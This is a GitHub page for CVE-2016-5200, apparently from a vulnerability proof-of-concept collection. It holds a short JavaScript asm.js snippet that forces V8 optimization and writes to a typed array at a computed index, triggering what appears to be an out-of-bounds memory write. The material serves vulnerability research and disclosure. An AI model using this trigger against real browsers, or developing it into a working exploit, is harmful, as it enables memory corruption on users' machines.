Skip to content

Latest commit

 

History

History
24 lines (19 loc) · 516 Bytes

CVE-2016-5200.md

File metadata and controls

24 lines (19 loc) · 516 Bytes

CVE-2016-5200

  • Date: Oct 2016
  • Credit: Choongwoo Han

PoC

boom0 = (function(stdlib, foreign, heap){
            "use asm";
            var ff = Math.sign;
            var m32 = new stdlib.Int32Array(heap);
            function f(v) {
              m32[((1-ff(NaN) >>> 0) % 0xdc4e153) & v] = 0x12345678;
            }
            return f;
         })(this, {}, new ArrayBuffer(256));
%OptimizeFunctionOnNextCall(boom0);
boom0(0xffffffff)

Reference